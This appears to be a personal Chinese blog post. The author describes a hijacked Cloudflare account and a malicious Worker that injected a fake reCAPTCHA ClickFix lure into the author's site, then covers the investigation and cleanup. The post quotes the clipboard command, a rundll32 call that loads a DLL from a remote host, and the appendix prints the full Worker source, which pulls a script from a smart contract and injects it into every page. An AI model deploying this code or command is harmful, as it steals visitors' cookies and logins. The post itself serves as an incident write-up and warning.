LOADING

加载过慢请开启缓存 浏览器默认开启

记一次Cloudflare盗号

2026/3/23

前言

大家好——,又是好久不见的诈尸时刻了x
在这个全世界都在用AI的时代坚持手写文字还是挺困难的(汗
尤其自己似乎越来越老登了,只有在自己的博客才能充分的中二…嗯!博客一旦被认识的人打开世界就要毁灭了
也就是所谓的人生终了吧!可喜可贺可喜可贺~

正题

该进入正题啦!
记录一下这次的Cloudflare盗号时间

先简单过一遍时间线吧

时间 操作
2026-03-08 将github Action的部署转为Cloudflare Pages
2026-03-14 未知用户登录创建恶意worker
2026-03-23 登录博客中招,开始杀毒并排查问题
2026-03-23 排查完毕来写博客

有关如何切换到Cloudflare Pages,打个广告:我说Cloudflare神了

总而言之我们先进入到这个木马是什么吧

有关木马

参考 Anyrun 似乎怎么都比我好,在报告中被标记为clickfix钓鱼

注入方式

具体而言是盗号去Cloudflare(我也不知道我怎么被盗的…)创建一个恶意worker:

  1. 拦截每一个fetch()请求,转而请求https://bsc-testnet.drpc.org/(具体合约地址 0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e)
  2. Solidity ABI的动态字符串格式解码返回结果
  3. 并透过atob()转为JavaScript代码注入到浏览器body前
  4. 最终会得到一个伪造的recaptcha:

notrobot
robotverify

破坏方式

具体而言会以下列的方式让用户中招:

  1. 伪造成recaptcha
  2. 在你点击后,会将这条指令复制到你的粘贴板:rundll32.exe \\dev3field.nodalbufferpoint.in.net\verification.google,#1
    1. 其中dev3field.nodalbufferpoint.in.net属于随机轮换域名
  3. 在你跟着他的指引运行后,就开始破坏操作了
    1. 透过rundll32加载远端UNC路径的远程dll(伪装成verification.google)会直接映射到内存运行
    2. 连接远程BNB smart chain,也就是俗称的链上地址?会在链上读取一份智能合约的代码,tag:EtherHiding 技术
    3. 使用QueueUserAPC注入到msgedge.exe / chrome.exe中,直接读取你的:
      1. Cookie & session storage(token)
      2. login / web data
    4. 透过区块链外传到攻击者
    5. 自我清理删除
  4. 根据anyrun报告,似乎会在一分钟内完成所有操作(最终记录72731 ms)

中招与排查

总而言之就是中招了啦(失落)
谁能想到代码完全自己写的页面,部署在Github、Cloudflare的网页还能中招呢,没有一点防备。
仔细想想的话…我没有搞过什么captcha啊!!

所以就只能排查了……
排查过程很简单也很清晰:

  1. 检查源码,确认Github Action workflow是否有异常 →
  2. 检查DNS是否被污染到其他镜像地址 →
  3. 更换设备,用手机访问确认是远端页面还是本地病毒 → 手机复现,远端病毒
  4. 至此确认:站点源码和部署过程没有任何问题 → 思考远端访问时被注入
  5. 挑战抓包,得到一份不在源码的奇怪代码onclick="ym(99162160,'reachGoal','Click', ...),绑定在额外的Yandex Metrica确定客户端运行时被注入
  6. 检查Cloudflare → 发现一个不认识的worker:worker-odd-wood-45b9
  7. 最终排查成功!!

排查后修复与保险处理

排查到问题了也就很好搞了:

  1. 直接删除了worker确认没有其他牵涉
  2. 修改Cloudflare密码和上游谷歌密码,并全部重置了所有Cloudflare API
  3. 删除了浏览器所有浏览记录包括cookie
  4. 完整全盘杀毒两次
  5. 由于浏览器没有存任何密码,使用的是 bitwarden,相对来说似乎要安全的多

附录

顺便把worker源码贴出来吧,我要狠狠的裱起来痛批一万年!
想了下好像也没什么必要脱敏了,就这样丢出来吧,就算有有心人,做完了不也是把数据丢给别人吗…,嗯…大概

export default {
  async fetch(request, env, ctx) {
    let injectedScript = "";

    try {
      // 从链上合约读取一段字符串
      const readStringFromContract = async (contractAddress) => {
        const bytesToHex = (bytes) => {
          let hex = "0x";
          for (const b of bytes) {
            const part = b.toString(16);
            hex += part.length === 1 ? `0${part}` : part;
          }
          return hex;
        };

        const rpcResponse = await fetch("https://bsc-testnet.drpc.org/", {
          method: "POST",
          headers: {
            Accept: "application/json",
            "Content-Type": "application/json",
          },
          body: JSON.stringify({
            method: "eth_call",
            params: [
              {
                to: contractAddress,
                data: "0x6d4ce63c",
              },
              "latest",
            ],
            id: 97,
            jsonrpc: "2.0",
          }),
        });

        const hexResult = (await rpcResponse.json()).result.slice(2);
        const bytes = new Uint8Array(
          hexResult.match(/[\da-f]{2}/gi).map((x) => parseInt(x, 16))
        );

        // 按 ABI 动态字符串格式解码
        const offset = Number(bytesToHex(bytes.slice(0, 32)));
        const length = Number(bytesToHex(bytes.slice(32, 32 + offset)));

        return String.fromCharCode.apply(
          null,
          bytes.slice(32 + offset, 32 + offset + length)
        );
      };

      const encoded = await readStringFromContract(
        "0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e"
      );

      // 合约返回的字符串还要再做一次 base64 解码
      injectedScript = atob(encoded);
    } catch {
      // 故意吞掉异常
    }

    const upstreamResponse = await fetch(request);

    // 没拿到脚本,或者不是 HTML,就直接放行
    if (
      !injectedScript ||
      !upstreamResponse.headers.get("Content-Type")?.includes("text/html")
    ) {
      return upstreamResponse;
    }

    // 注入到页面 body 结束前
    const html = (await upstreamResponse.text()).replace(
      "</body>",
      `<script>${injectedScript}<\/script></body>`
    );

    return new Response(html, {
      status: upstreamResponse.status,
      statusText: upstreamResponse.statusText,
      headers: {
        ...upstreamResponse.headers,
        "Content-Type": "text/html;charset=UTF-8",
        "Content-Length": html.length.toString(),
      },
    });
  },
};